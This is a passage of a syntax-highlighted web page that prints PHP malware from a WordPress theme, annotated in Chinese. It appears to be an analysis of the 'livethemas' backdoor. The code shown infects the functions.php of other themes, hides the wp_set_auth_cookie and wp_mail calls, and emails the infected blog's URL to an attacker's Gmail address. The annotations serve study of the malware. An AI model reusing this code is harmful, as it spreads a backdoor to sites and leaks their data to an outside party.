&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/closedir"><span style="color: #990000;">closedir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$dirArray</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//这个动作添加了，用于检测所有主题目录下functions.php并感染</span><br />
add_action<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;admin_head&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;_verifyactivate_widgets&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">function</span> _getprepare_widget<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$text_length</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$text_length</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">120</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$check</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$check</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;cookie&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tagsallowed</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$tagsallowed</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&lt;a&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filter</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$filter</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;none&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$coma</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$coma</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$home_filter</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$home_filter</span><span style="color: #339933;">=</span>get_option<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;home&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pref_filters</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$pref_filters</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;wp_&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$is_use_more_link</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$is_use_more_link</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$com_type</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$com_type</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cpages</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$cpages</span><span style="color: #339933;">=</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;cperpage&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post_auth_comments</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$post_auth_comments</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$com_is_approved</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$com_is_approved</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post_auth</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$post_auth</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;auth&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link_text_more</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$link_text_more</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;(more...)&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$widget_yes</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$widget_yes</span><span style="color: #339933;">=</span>get_option<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;_is_widget_active_&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$checkswidgets</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//这个实际是wp_set_auth_cookie</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$checkswidgets</span><span style="color: #339933;">=</span><span style="color: #000088;">$pref_filters</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;set&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$post_auth</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$check</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link_text_more_ditails</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$link_text_more_ditails</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;(details...)&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$contentmore</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$contentmore</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;ma&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$coma</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;il&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$for_more</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$for_more</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fakeit</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$fakeit</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$sql</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//如果 _is_widget_active_ option内容为空,即表示没有被感染过</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$widget_yes</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//取出存在已经通过的评论（不包括trackback/pingback）的文章</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// post_author 为 livethemas@gmail.com 的文章，肯定是没有的</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$sq1</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,<span style="color: #006699; font-weight: bold;">$src_length</span>) AS com_excerpt FROM <span style="color: #006699; font-weight: bold;">$wpdb-&gt;comments</span> LEFT OUTER JOIN <span style="color: #006699; font-weight: bold;">$wpdb-&gt;posts</span> ON (<span style="color: #006699; font-weight: bold;">$wpdb-&gt;comments</span>.comment_post_ID=<span style="color: #006699; font-weight: bold;">$wpdb-&gt;posts</span>.ID) WHERE comment_approved=<span style="color: #000099; font-weight: bold;">\&quot;</span>1<span style="color: #000099; font-weight: bold;">\&quot;</span> AND comment_type=<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #000099; font-weight: bold;">\&quot;</span> AND post_author=<span style="color: #000099; font-weight: bold;">\&quot;</span>li&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$coma</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;vethe&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$com_type</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;mas&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$coma</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;@&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$com_is_approved</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;gm&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$post_auth_comments</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;ail&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$coma</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$coma</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;co&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;m<span style="color: #000099; font-weight: bold;">\&quot;</span> AND post_password=<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #000099; font-weight: bold;">\&quot;</span> AND comment_date_gmt &gt;= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT <span style="color: #006699; font-weight: bold;">$src_count</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">#<br />
</span>&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_password</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;wp-postpass_&quot;</span><span style="color: #339933;">.</span>COOKIEHASH<span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_password</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>is_feed<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span>__<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;There is no excerpt because this is a protected post.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span>get_the_password_form<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fixed_tags</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$fixed_tags</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filters</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$filters</span><span style="color: #339933;">=</span><span style="color: #000088;">$home_filter</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//$gettextcomments实际上为 wp_mail</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$gettextcomments</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$gettextcomments</span><span style="color: #339933;">=</span><span style="color: #000088;">$pref_filters</span><span style="color: #339933;">.</span><span style="color: #000088;">$contentmore</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag_aditional</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$tag_aditional</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;div&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//这里$sh_cont即为 livethemas@gmail.com</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sh_cont</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$sh_cont</span><span style="color: #339933;">=</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sq1</span><span style="color: #339933;">,</span> <a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sq1</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;live&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">20</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">#<br />
</span>&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$more_text_link</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$more_text_link</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Continue reading this entry&quot;</span><span style="color: #339933;">;</span>&nbsp; <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$isshowdots</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$isshowdots</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000088;">$comments</span><span style="color: #339933;">=</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_results</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fakeit</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$text</span><span style="color: #339933;">=</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_content</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fakeit</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$text</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_excerpt</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_content</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_excerpt</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$text</span><span style="color: #339933;">=</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_excerpt</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//开始调用　wp_mail 向 livethemas@gmail.com 发送邮件，标题和内容都是被感染的博客的URL 地址</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$sq1</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,<span style="color: #006699; font-weight: bold;">$src_length</span>) AS com_excerpt FROM <span style="color: #006699; font-weight: bold;">$wpdb-&gt;comments</span> LEFT OUTER JOIN <span style="color: #006699; font-weight: bold;">$wpdb-&gt;posts</span> ON (<span style="color: #006699; font-weight: bold;">$wpdb-&gt;comments</span>.comment_post_ID=<span style="color: #006699; font-weight: bold;">$wpdb-&gt;posts</span>.ID) WHERE comment_approved=<span style="color: #000099; font-weight: bold;">\&quot;</span>1<span style="color: #000099; font-weight: bold;">\&quot;</span> AND comment_type=<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #000099; font-weight: bold;">\&quot;</span> AND comment_content=&quot;</span><span style="color: #339933;">.</span> <a href="http://www.php.net/call_user_func_array"><span style="color: #990000;">call_user_func_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$gettextcomments</span><span style="color: #339933;">,</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sh_cont</span><span style="color: #339933;">,</span> <span style="color: #000088;">$home_filter</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filters</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; ORDER BY comment_date_gmt DESC LIMIT <span style="color: #006699; font-weight: bold;">$src_count</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">#<br />
</span>&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$text_length</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><span style="color: #000088;">$text</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$no_more</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$text</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&lt;span id=&quot;</span>more<span style="color: #339933;">-</span><span style="color: #cc66cc;">5265</span><span style="color: #0000ff;">&quot;&gt;&lt;/span&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$text</span><span style="color: #339933;">=</span><a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&lt;!--more--&gt;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$l</span><span style="color: #339933;">=</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$text</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$more_link</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//执行这一句时就开始发邮件了。</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$comments</span><span style="color: #339933;">=</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_results</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$text</span><span style="color: #339933;">=</span><a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$text</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #000088;">$text_length</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
